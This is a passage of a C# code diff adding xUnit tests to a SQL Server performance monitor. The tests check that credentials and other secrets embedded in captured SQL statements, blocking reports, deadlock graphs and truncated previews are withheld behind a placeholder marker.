+        var bothWithheld = KeyOf(ModeChain(Marker, Marker, "X"));
+
+        Assert.NotEqual(blockedWithheld, blockingWithheld);
+        Assert.NotEqual(blockedWithheld, bothWithheld);
+        Assert.NotEqual(blockingWithheld, bothWithheld);
+    }
+
+    [Fact]
+    public void WithheldChainsThatDifferOnlyByAVisibleLiteralAreOneIncident()
+    {
+        var group = Assert.Single(BlockingIncidentGrouper.Group("srv",
+            [ModeChain(Marker, "UPDATE dbo.t SET c = 1", "X"), ModeChain(Marker, "UPDATE dbo.t SET c = 2", "X", 9_000)]));
+        Assert.Equal(2, group.OccurrenceCount);
+    }
+
+    [Fact]
+    public void TheAnalysisCopyOfTheMarkerEqualsTheCommonOne()
+    {
+        /* PerformanceMonitor.Analysis does not reference Common (a reference would change six packages.lock.json
+           files), so SameStatementPileupDetector carries its own copy of the marker; this pins the two equal. */
+        Assert.Equal(SensitiveStatements.PlaceholderText, WithheldStatementMarker.Text);
+    }
+
+    [Fact]
+    public void AChainWithAResolvedObjectStillGroupsOnTheObject()
+    {
+        /* The object key never reads the text, so a withheld statement on a resolved object is still one incident. */
+        var a = new BlockingIncidentGrouper.BlockedEvent("db1", "dbo.Orders", Marker, Marker, 5_000);
+        var b = new BlockingIncidentGrouper.BlockedEvent("db1", "dbo.Orders", Marker, Marker, 9_000);
+        var group = Assert.Single(BlockingIncidentGrouper.Group("srv", [a, b]));
+        Assert.Equal(2, group.OccurrenceCount);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementPreviewCutLiveTests.cs b/Darling/Darling.Tests/StatementPreviewCutLiveTests.cs
new file mode 100644
index 0000000000..f7d6c8aec8
--- /dev/null
+++ b/Darling/Darling.Tests/StatementPreviewCutLiveTests.cs
@@ -0,0 +1,125 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320: statement previews are filtered, then cut, on the rig. A URI whose secret straddles the preview cut
+/// (<see cref="StatementScrubCanary.UriStatement"/>) must reach a client as the marker, never as the first characters
+/// of the secret that a cut before the host's sweep leaves behind.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StatementPreviewCutLiveTests
+{
+    private const string ServerName = "statement-preview-cut-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task GetActiveQueries_ThroughTheHost_WithholdsAUriSecretThatStraddlesTheFourHundredCharacterCut()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live preview-cut test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(DateTime.UtcNow.AddMinutes(-5)), ServerId, ServerName,
+                91, "UriDb", StatementScrubCanary.UriStatement(400), "running");
+
+            string raw = await DarlingMcpSessionTools.GetActiveQueries(postgres, ServerName);
+            Assert.Contains("query_text", raw, StringComparison.Ordinal);
+
+            using var server = await StatementFilterCensus.BuildHostAsync();
+            var (text, isError) = await StatementFilterCensus.FilterThroughHostAsync(server, raw);
+
+            Assert.False(isError);
+            Assert.DoesNotContain(StatementScrubCanary.UriSecretPartial, text, StringComparison.Ordinal);
+            Assert.Contains(SensitiveStatements.PlaceholderText, text, StringComparison.Ordinal);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task QueryHeatmap_WithholdsAUriSecret_ThatStraddlesThePreviewCut()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live preview-cut test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var t = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-20);
+            await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash,
+     sample_interval_seconds, delta_execution_count, delta_worker_time, delta_elapsed_time,
+     delta_logical_reads, delta_logical_writes, query_text)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(t), ServerId, ServerName,
+                "UriDb", "0xURICUT", 60, 5L, 0L, 250_000L, 0L, 0L, StatementScrubCanary.UriStatement(80));
+
+            var rows = await DarlingQueryHeatmapReader.GetQueryHeatmapAsync(
+                postgres, ServerId, HeatmapMetric.Duration, t.AddMinutes(-5), t.AddMinutes(30),
+                DatabaseFilter.One(null), bucketMinutes: 5, limit: 50, previewLength: 80, ct);
+
+            var row = Assert.Single(rows);
+            Assert.DoesNotContain(StatementScrubCanary.UriSecretPartial, row.TopQueryText, StringComparison.Ordinal);
+            Assert.Equal(SensitiveStatements.PlaceholderText, row.TopQueryText);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM query_snapshots WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM query_stats WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM servers WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM config_monitored_servers WHERE server_id = $1", ServerId);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementPreviewCutPinTests.cs b/Darling/Darling.Tests/StatementPreviewCutPinTests.cs
new file mode 100644
index 0000000000..988a5978d3
--- /dev/null
+++ b/Darling/Darling.Tests/StatementPreviewCutPinTests.cs
@@ -0,0 +1,102 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320: a statement preview is filtered, THEN cut. A URI's <c>user:secret@</c> is named by the at-sign that closes
+/// it, so a preview cut BEFORE the at-sign is judged clean and returns part of the secret. These pins walk every cut
+/// length over the shipping helper <see cref="McpHelpers.TruncateStatement"/> and <see cref="McpHelpers.StatementPreview"/>.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class StatementPreviewCutPinTests
+{
+    /// <summary>Text in the corpus's named statements that must never leave in any preview of them.</summary>
+    private static readonly string[] CorpusSecrets = { "S3cret", "secret-x", "sig=x", "0200AB", "'phrase'" };
+
+    private static IEnumerable<(string Statement, string[] Needles)> Cases()
+    {
+        foreach (string statement in SensitiveStatementCorpus.Named)
+        {
+            foreach (string variant in SensitiveStatementCorpus.Variants(statement))
+            {
+                string[] needles = CorpusSecrets.Where(n => variant.Contains(n, StringComparison.Ordinal)).ToArray();
+                if (needles.Length > 0) yield return (variant, needles);
+            }
+        }
+
+        foreach (string scheme in new[] { "https", "ftp", "postgresql" })
+        {
+            yield return (
+                "EXEC x @u = N'" + scheme + "://svc:" + StatementScrubCanary.UriSecret + "@host.example/path'",
+                new[] { StatementScrubCanary.UriSecret, StatementScrubCanary.UriSecretPartial });
+        }
+
+        yield return (StatementScrubCanary.UriStatement(400), new[] { StatementScrubCanary.UriSecret, StatementScrubCanary.UriSecretPartial });
+    }
+
+    [Fact]
+    public void ThePremise_APreviewCutBeforeTheFilterHoldsPartOfAUriSecret()
+    {
+        string statement = StatementScrubCanary.UriStatement(400);
+        Assert.True(SensitiveStatements.Names(statement));
+
+        string cutFirst = McpHelpers.Truncate(statement, 400)!;
+        Assert.Contains(StatementScrubCanary.UriSecretPartial, cutFirst, StringComparison.Ordinal);
+        Assert.False(SensitiveStatements.Names(cutFirst), "the cut text is judged clean, so the host's sweep would pass it");
+    }
+
+    [Fact]
+    public void TruncateStatement_AtEveryCutLength_HoldsNoSecretOfTheStatement()
+    {
+        int checkedCuts = 0;
+        foreach (var (statement, needles) in Cases())
+        {
+            Assert.True(SensitiveStatements.Names(statement), "every case is a named statement: " + statement.Trim());
+            for (int cut = 0; cut <= statement.Length + 1; cut++)
+            {
+                string? preview = McpHelpers.TruncateStatement(statement, cut);
+                foreach (string needle in needles)
+                {
+                    Assert.False(
+                        preview != null && preview.Contains(needle, StringComparison.Ordinal),
+                        $"TruncateStatement(cut {cut}) of '{statement.Trim()}' holds '{needle}'");
+                }
+
+                string? bare = McpHelpers.StatementPreview(statement, cut);
+                foreach (string needle in needles)
+                {
+                    Assert.False(
+                        bare != null && bare.Contains(needle, StringComparison.Ordinal),
+                        $"StatementPreview(cut {cut}) of '{statement.Trim()}' holds '{needle}'");
+                }
+
+                checkedCuts++;
+            }
+        }
+
+        Assert.True(checkedCuts > 1000, "the walk covered the corpus: " + checkedCuts);
+    }
+
+    [Fact]
+    public void ACleanStatement_IsCutLikeTruncate_AndKeepsItsMarker()
+    {
+        string plain = StatementScrubCanary.PlainStatement;
+        Assert.Equal(McpHelpers.Truncate(plain, 10), McpHelpers.TruncateStatement(plain, 10));
+        Assert.Equal(plain, McpHelpers.TruncateStatement(plain, plain.Length));
+        Assert.Equal(plain[..10], McpHelpers.StatementPreview(plain, 10));
+        Assert.Null(McpHelpers.TruncateStatement(null, 10));
+        Assert.Equal("", McpHelpers.TruncateStatement("", 10));
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubBlockingTests.cs b/Darling/Darling.Tests/StatementScrubBlockingTests.cs
new file mode 100644
index 0000000000..9c9ebf1bbe
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubBlockingTests.cs
@@ -0,0 +1,504 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Diagnostics;
+using System.Linq;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Xml.Linq;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, lane R4: the blocking and deadlock collectors judge each statement string where it first enters a row. The
+/// census cases below plant the canary in the collector's INPUT (a <c>DataTableReader</c>), run the read and
+/// <c>WritePayload</c> through <see cref="StatementScrubRecordingWriter"/>, and check what was written. Columns covered:
+/// blocked_process_report blocked_sql_text, blocking_sql_text, blocked_process_report_xml, blocked_query_plan_xml,
+/// blocking_query_plan_xml; deadlocks victim_sql_text, deadlock_graph_xml, victim_query_plan_xml; dmv_blocking_snapshot
+/// blocked_sql_text, blocking_sql_text.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed partial class StatementCollectionCensusTests
+{
+    private static readonly DateTime EventTime = new(2026, 10, 6, 11, 59, 0, DateTimeKind.Utc);
+    private const string Frame = "<frame line=\"1\" stmtstart=\"10\" stmtend=\"90\" sqlhandle=\"0x0200AA01\">";
+
+    private static string BlockedReportXml(string blockedText, string blockingText) =>
+        "<blocked-process-report monitorLoop=\"7\">"
+        + "<blocked-process><process spid=\"55\" ecid=\"0\" waittime=\"9000\" currentdbname=\"db1\">"
+        + "<executionStack>" + Frame + System.Security.SecurityElement.Escape(blockedText) + "</frame></executionStack>"
+        + "<inputbuf>" + System.Security.SecurityElement.Escape(blockedText) + "</inputbuf></process></blocked-process>"
+        + "<blocking-process><process spid=\"66\" ecid=\"0\"><executionStack/>"
+        + "<inputbuf>" + System.Security.SecurityElement.Escape(blockingText) + "</inputbuf></process></blocking-process>"
+        + "</blocked-process-report>";
+
+    private static string DeadlockGraph(string victimText, string otherText) =>
+        "<deadlock><victim-list><victimProcess id=\"process1\"/></victim-list><process-list>"
+        + "<process id=\"process1\" currentdbname=\"db1\"><executionStack>" + Frame
+        + System.Security.SecurityElement.Escape(victimText) + "</frame></executionStack>"
+        + "<inputbuf>" + System.Security.SecurityElement.Escape(victimText) + "</inputbuf></process>"
+        + "<process id=\"process2\"><executionStack/><inputbuf>" + System.Security.SecurityElement.Escape(otherText) + "</inputbuf></process>"
+        + "</process-list><resource-list>"
+        + "<keylock hobtid=\"1\" dbid=\"5\" objectname=\"db1.dbo.t1\" id=\"lock1\" mode=\"X\"><owner-list/><waiter-list/></keylock>"
+        + "<keylock hobtid=\"2\" dbid=\"5\" objectname=\"db1.dbo.t2\" id=\"lock2\" mode=\"X\"><owner-list/><waiter-list/></keylock>"
+        + "</resource-list></deadlock>";
+
+    private static CollectorContext BlockingContext() => new()
+    {
+        ServerId = 42,
+        ServerName = "test-server",
+        CollectionTime = new DateTime(2026, 10, 6, 12, 0, 0, DateTimeKind.Utc),
+        Deltas = null!,
+        CapturePlanXml = true,
+        Target = new CollectorTargetInfo(),
+    };
+
+    private static DataTableReader BprReader(params (string Xml, string? BlockedPlan, string? BlockingPlan)[] reports)
+    {
+        var dataSet = new DataSet();
+        var payload = new DataTable("payload");
+        payload.Columns.Add("event_time", typeof(DateTime));
+        payload.Columns.Add("blocked_process_report_xml", typeof(string));
+        payload.Columns.Add("object_id", typeof(int));
+        payload.Columns.Add("database_id", typeof(int));
+        payload.Columns.Add("contentious_object", typeof(string));
+        payload.Columns.Add("blocked_query_plan_xml", typeof(string));
+        payload.Columns.Add("blocking_query_plan_xml", typeof(string));
+        foreach (var (xml, blocked, blocking) in reports)
+        {
+            payload.Rows.Add(EventTime, xml, DBNull.Value, 6, DBNull.Value, (object?)blocked ?? DBNull.Value, (object?)blocking ?? DBNull.Value);
+        }
+
+        dataSet.Tables.Add(payload);
+        var gate = new DataTable("gate");
+        gate.Columns.Add("execution_count", typeof(long));
+        gate.Columns.Add("gated", typeof(bool));
+        gate.Rows.Add(1L, false);
+        dataSet.Tables.Add(gate);
+        return dataSet.CreateDataReader();
+    }
+
+    private static DataTableReader DeadlockReader(params (DateTime Time, string Graph, string? Plan)[] graphs) =>
+        DeadlockReaderWithVictims(graphs.Select(g => (g.Time, g.Graph, g.Plan, "process1")).ToArray());
+
+    private static DataTableReader DeadlockReaderWithVictims(params (DateTime Time, string Graph, string? Plan, string Victim)[] graphs)
+    {
+        var dataSet = new DataSet();
+        var payload = new DataTable("payload");
+        payload.Columns.Add("deadlock_time", typeof(DateTime));
+        payload.Columns.Add("victim_process_id", typeof(string));
+        payload.Columns.Add("deadlock_graph_xml", typeof(string));
+        payload.Columns.Add("victim_query_plan_xml", typeof(string));
+        payload.Columns.Add("source_database_name", typeof(string));
+        foreach (var (time, graph, plan, victim) in graphs)
+        {
+            payload.Rows.Add(time, victim, graph, (object?)plan ?? DBNull.Value, DBNull.Value);
+        }
+
+        dataSet.Tables.Add(payload);
+        var gate = new DataTable("gate");
+        gate.Columns.Add("execution_count", typeof(long));
+        gate.Columns.Add("gated", typeof(bool));
+        gate.Rows.Add(1L, false);
+        dataSet.Tables.Add(gate);
+        return dataSet.CreateDataReader();
+    }
+
+    private static async Task<(List<BlockedProcessReportCollector.Row> Rows, StatementScrubRecordingWriter Writer)> RunBprAsync(
+        CollectorContext context, DataTableReader reader)
+    {
+        var rows = await BlockedProcessReportCollector.Instance.ReadAsync(reader, context, CancellationToken.None);
+        var writer = new StatementScrubRecordingWriter();
+        foreach (var row in rows)
+        {
+            BlockedProcessReportCollector.Instance.WritePayload(row, writer, context);
+        }
+
+        return (rows, writer);
+    }
+
+    private static async Task<(List<DeadlocksCollector.Row> Rows, StatementScrubRecordingWriter Writer)> RunDeadlocksAsync(
+        CollectorContext context, DataTableReader reader)
+    {
+        var rows = await DeadlocksCollector.Instance.ReadAsync(reader, context, CancellationToken.None);
+        var writer = new StatementScrubRecordingWriter();
+        foreach (var row in rows)
+        {
+            DeadlocksCollector.Instance.WritePayload(row, writer, context);
+        }
+
+        return (rows, writer);
+    }
+
+    private static void AssertNoNeedle(StatementScrubRecordingWriter writer)
+    {
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.False(writer.AnyStringContains(needle), "a written value still holds " + needle);
+        }
+    }
+
+    private static void AssertPlanScrubbed(string? plan)
+    {
+        Assert.NotNull(plan);
+        XDocument.Parse(plan!);
+        Assert.Contains(SensitiveStatements.PlaceholderText, plan, StringComparison.Ordinal);
+        Assert.Contains("canary_plain_ssf", plan, StringComparison.Ordinal);
+        Assert.Contains("param-canary-ssf", plan, StringComparison.Ordinal);
+    }
+
+    // ── blocked_process_report: blocked_sql_text, blocking_sql_text, blocked_process_report_xml,
+    //    blocked_query_plan_xml, blocking_query_plan_xml ──
+
+    [Fact]
+    public async Task BlockedProcessReport_blocked_sql_text_blocking_sql_text_blocked_process_report_xml_and_both_plans_AreWithheld()
+    {
+        var xml = BlockedReportXml(StatementScrubCanary.CanaryStatement, StatementScrubCanary.CanaryStatement);
+        var context = BlockingContext();
+
+        var (rows, writer) = await RunBprAsync(context, BprReader((xml, StatementScrubCanary.CanaryPlan(), StatementScrubCanary.CanaryPlan())));
+
+        var row = Assert.Single(rows);
+        AssertNoNeedle(writer);
+        Assert.Equal(SensitiveStatements.PlaceholderText, row.BlockedSqlText);
+        Assert.Equal(SensitiveStatements.PlaceholderText, row.BlockingSqlText);
+        AssertPlanScrubbed(row.BlockedQueryPlanXml);
+        AssertPlanScrubbed(row.BlockingQueryPlanXml);
+
+        // The stored report still parses, holds the marker and keeps the frame attributes a reader uses.
+        var stored = XElement.Parse(row.ReportXml!);
+        Assert.Contains(SensitiveStatements.PlaceholderText, row.ReportXml, StringComparison.Ordinal);
+        var frame = stored.Descendants("frame").Single();
+        Assert.Equal("0x0200AA01", (string?)frame.Attribute("sqlhandle"));
+        Assert.Equal("10", (string?)frame.Attribute("stmtstart"));
+        Assert.Equal("55", (string?)stored.Element("blocked-process")!.Element("process")!.Attribute("spid"));
+
+        // A second run over the same input stores the same text (identity is computed from the filtered value).
+        var (_, again) = await RunBprAsync(BlockingContext(), BprReader((xml, StatementScrubCanary.CanaryPlan(), StatementScrubCanary.CanaryPlan())));
+        Assert.Equal(writer.Strings.ToList(), again.Strings.ToList());
+
+        // The cycle reports what the filter did.
+        Assert.Contains(context.Measurements, m => m.Label == CollectorContext.StatementScrubNamedMeasurement && m.Value > 0);
+    }
+
+    [Fact]
+    public async Task BlockedProcessReport_AReportWithPlainStatements_IsStoredByteForByte()
+    {
+        var xml = BlockedReportXml(StatementScrubCanary.PlainStatement, StatementScrubCanary.PlainStatement);
+
+        var (rows, writer) = await RunBprAsync(BlockingContext(), BprReader((xml, null, null)));
+
+        var row = Assert.Single(rows);
+        Assert.Same(xml, row.ReportXml);
+        Assert.Equal(StatementScrubCanary.PlainStatement, row.BlockedSqlText);
+        Assert.Equal(StatementScrubCanary.PlainStatement, row.BlockingSqlText);
+        Assert.Contains(StatementScrubCanary.PlainStatement, writer.Strings);
+    }
+
+    [Fact]
+    public async Task BlockedProcessReport_AResolvedProcedureName_IsJudgedAgain()
+    {
+        // The resolved "schema.object" replaces a placeholder that was not statement text; it is a new string entering
+        // the row, so it is judged again. A name that reads as a statement is withheld.
+        var context = BlockingContext();
+        var xml = BlockedReportXml("Proc [Database Id = 5 Object Id = 7]", "Proc [Database Id = 5 Object Id = 8]");
+        var (rows, _) = await RunBprAsync(context, BprReader((xml, null, null)));
+        Assert.Equal("Proc [Database Id = 5 Object Id = 7]", rows[0].BlockedSqlText);
+
+        var supplemental = new DataTable();
+        supplemental.Columns.Add("database_id", typeof(int));
+        supplemental.Columns.Add("object_id", typeof(int));
+        supplemental.Columns.Add("database_name", typeof(string));
+        supplemental.Columns.Add("schema_name", typeof(string));
+        supplemental.Columns.Add("object_name", typeof(string));
+        supplemental.Rows.Add(5, 7, "db1", "dbo", "usp_plain");
+        supplemental.Rows.Add(5, 8, "db1", "dbo", "usp_other");
+        await BlockedProcessReportCollector.Instance.ApplySupplementalAsync(rows, supplemental.CreateDataReader(), context, CancellationToken.None);
+
+        Assert.Contains("usp_plain", rows[0].BlockedSqlText, StringComparison.Ordinal);
+        Assert.DoesNotContain("Proc [", rows[0].BlockedSqlText, StringComparison.Ordinal);
+    }
+
+    // ── deadlocks: victim_sql_text, deadlock_graph_xml, victim_query_plan_xml ──
+
+    [Fact]
+    public async Task Deadlocks_victim_sql_text_deadlock_graph_xml_and_victim_query_plan_xml_AreWithheld()
+    {
+        var graph = DeadlockGraph(StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement);
+        var context = BlockingContext();
+
+        var (rows, writer) = await RunDeadlocksAsync(context, DeadlockReader((EventTime, graph, StatementScrubCanary.CanaryPlan())));
+
+        var row = Assert.Single(rows);
+        AssertNoNeedle(writer);
+        Assert.Equal(SensitiveStatements.PlaceholderText, row.VictimSqlText);
+        AssertPlanScrubbed(row.VictimQueryPlanXml);
+
+        // The stored graph parses, holds the marker, keeps the frame handles, keeps the other process's statement,
+        // and the object extractor finds the same objects it finds in the raw graph.
+        var stored = XElement.Parse(row.GraphXml!);
+        Assert.Contains(SensitiveStatements.PlaceholderText, row.GraphXml, StringComparison.Ordinal);
+        Assert.Contains(StatementScrubCanary.PlainStatement, row.GraphXml, StringComparison.Ordinal);
+        var frame = stored.Descendants("frame").Single();
+        Assert.Equal("0x0200AA01", (string?)frame.Attribute("sqlhandle"));
+        Assert.Equal("10", (string?)frame.Attribute("stmtstart"));
+        var objects = DeadlockObjectExtractor.FromGraphXml(row.GraphXml);
+        Assert.NotEmpty(objects);
+        Assert.Equal(DeadlockObjectExtractor.FromGraphXml(graph), objects);
+    }
+
+    [Fact]
+    public async Task Deadlocks_ANamedDeadlockReadTwice_IsDroppedTheSecondTime()
+    {
+        var graph = DeadlockGraph(StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement);
+
+        var (first, _) = await RunDeadlocksAsync(BlockingContext(), DeadlockReader((EventTime, graph, null)));
+        var stored = new HashSet<(DateTime Time, string Graph)>(
+            first.Select(r => DeadlocksCollector.Instance.GetIdentity(r)!.Value));
+        var (second, _) = await RunDeadlocksAsync(BlockingContext(), DeadlockReader((EventTime, graph, null)));
+
+        Assert.Empty(DeadlocksCollector.Instance.DropAlreadyStored(second, stored));
+    }
+
+    [Fact]
+    public async Task Deadlocks_AWholeMarkerGraph_HasAnIdentityFromItsParsedColumns_SoReReadsAreDropped_AndDifferentOnesStay()
+    {
+        // A graph that does not parse and holds the canary is withheld whole, so the stored graph is only the marker.
+        // The identity then comes from the columns read before judging it: the event time, the victim process id and
+        // the database. Two different deadlocks at the same time (different victims) keep their own identities.
+        var truncatedA = "<deadlock><process-list><process id=\"process1\"><inputbuf>" + StatementScrubCanary.CanaryStatement;
+        var truncatedB = "<deadlock><process-list><process id=\"process9\"><inputbuf>" + StatementScrubCanary.CanaryStatement;
+
+        var (rows, writer) = await RunDeadlocksAsync(BlockingContext(),
+            DeadlockReaderWithVictims((EventTime, truncatedA, null, "process1"), (EventTime, truncatedB, null, "process9")));
+
+        Assert.Equal(2, rows.Count);
+        Assert.All(rows, r => Assert.Equal(SensitiveStatements.PlaceholderText, r.GraphXml));
+        Assert.All(rows, r => Assert.NotNull(DeadlocksCollector.Instance.GetIdentity(r)));
+        Assert.NotEqual(DeadlocksCollector.Instance.GetIdentity(rows[0]), DeadlocksCollector.Instance.GetIdentity(rows[1]));
+        AssertNoNeedle(writer);
+        Assert.Equal(2, DeadlocksCollector.Instance.DropAlreadyStored(rows, new HashSet<(DateTime Time, string Graph)>()).Count);
+
+        // Three reads of the same whole-marker deadlock inside the 10-minute overlap leave one row (R4 recorded
+        // three before the identity existed).
+        var stored = new HashSet<(DateTime Time, string Graph)>();
+        var kept = 0;
+        for (var cycle = 0; cycle < 3; cycle++)
+        {
+            var (again, _) = await RunDeadlocksAsync(BlockingContext(), DeadlockReader((EventTime, truncatedA, null)));
+            var survivors = DeadlocksCollector.Instance.DropAlreadyStored(again, stored);
+            kept += survivors.Count;
+            foreach (var survivor in survivors)
+                stored.Add(DeadlocksCollector.Instance.GetIdentity(survivor)!.Value);
+        }
+
+        Assert.Equal(1, kept);
+    }
+
+    [Fact]
+    public async Task Deadlocks_TwoWholeMarkerGraphsAtDifferentTimes_AreBothKept_AndOneWithNoVictimIdHasNoIdentity()
+    {
+        var truncated = "<deadlock><process-list><process id=\"process1\"><inputbuf>" + StatementScrubCanary.CanaryStatement;
+
+        var (rows, _) = await RunDeadlocksAsync(BlockingContext(),
+            DeadlockReader((EventTime, truncated, null), (EventTime.AddSeconds(30), truncated, null)));
+
+        Assert.Equal(2, DeadlocksCollector.Instance.DropAlreadyStored(rows,
+            new HashSet<(DateTime Time, string Graph)>()).Count);
+        var stored = new HashSet<(DateTime Time, string Graph)> { DeadlocksCollector.Instance.GetIdentity(rows[0])!.Value };
+        Assert.Single(DeadlocksCollector.Instance.DropAlreadyStored(rows, stored));
+
+        // No victim process id: nothing tells this row apart from another whole-marker row at its time, so it has
+        // no identity and is never dropped.
+        var (noVictim, _) = await RunDeadlocksAsync(BlockingContext(),
+            DeadlockReaderWithVictims((EventTime, truncated, null, "")));
+        Assert.Null(DeadlocksCollector.Instance.GetIdentity(noVictim[0]));
+    }
+
+    [Fact]
+    public async Task Deadlocks_APlainGraph_IsStoredByteForByte_WithTheSameIdentityAcrossRuns()
+    {
+        var graph = DeadlockGraph(StatementScrubCanary.PlainStatement, StatementScrubCanary.PlainStatement);
+
+        var (rows, _) = await RunDeadlocksAsync(BlockingContext(), DeadlockReader((EventTime, graph, null)));
+        var (again, _) = await RunDeadlocksAsync(BlockingContext(), DeadlockReader((EventTime, graph, null)));
+
+        Assert.Same(graph, rows[0].GraphXml);
+        Assert.Equal(StatementScrubCanary.PlainStatement, rows[0].VictimSqlText);
+        Assert.Equal(DeadlocksCollector.Instance.GetIdentity(rows[0]), DeadlocksCollector.Instance.GetIdentity(again[0]));
+    }
+
+    // ── dmv_blocking_snapshot: blocked_sql_text, blocking_sql_text ──
+
+    [Fact]
+    public async Task DmvBlockingSnapshot_blocked_sql_text_and_blocking_sql_text_AreWithheld()
+    {
+        var table = new DataTable();
+        foreach (var (name, type) in new (string, Type)[]
+        {
+            ("database_name", typeof(string)), ("blocked_spid", typeof(int)), ("blocked_ecid", typeof(int)),
+            ("blocked_last_tran_started", typeof(DateTime)), ("blocking_spid", typeof(int)), ("blocking_ecid", typeof(int)),
+            ("blocking_last_tran_started", typeof(DateTime)), ("wait_time_ms", typeof(long)), ("lock_mode", typeof(string)),
+            ("blocking_status", typeof(string)), ("contentious_object", typeof(string)), ("blocked_sql_text", typeof(string)),
+            ("blocking_sql_text", typeof(string)), ("blocked_login_name", typeof(string)), ("blocked_host_name", typeof(string)),
+            ("blocked_client_app", typeof(string)), ("blocking_login_name", typeof(string)), ("blocking_host_name", typeof(string)),
+            ("blocking_client_app", typeof(string)),
+        })
+        {
+            table.Columns.Add(name, type);
+        }
+
+        table.Rows.Add("db1", 55, 0, EventTime, 66, 0, EventTime, 9000L, "X", "sleeping", "t1",
+            StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement, "l1", "h1", "a1", "l2", "h2", "a2");
+
+        var context = BlockingContext();
+        var rows = await DmvBlockingSnapshotCollector.Instance.ReadAsync(table.CreateDataReader(), context, CancellationToken.None);
+        var writer = new StatementScrubRecordingWriter();
+        foreach (var row in rows)
+        {
+            DmvBlockingSnapshotCollector.Instance.WritePayload(row, writer, context);
+        }
+
+        AssertNoNeedle(writer);
+        Assert.Equal(SensitiveStatements.PlaceholderText, rows[0].BlockedSqlText);
+        Assert.Equal(StatementScrubCanary.PlainStatement, rows[0].BlockingSqlText);
+        Assert.Contains(StatementScrubCanary.PlainStatement, writer.Strings);
+    }
+
+    // ── timing: a 4 MB ring buffer of reports and graphs ──
+
+    /// <summary>The input a timing run judges: about <paramref name="bytes"/> of blocked-process reports, a fifth of
+    /// them carrying the canary statement.</summary>
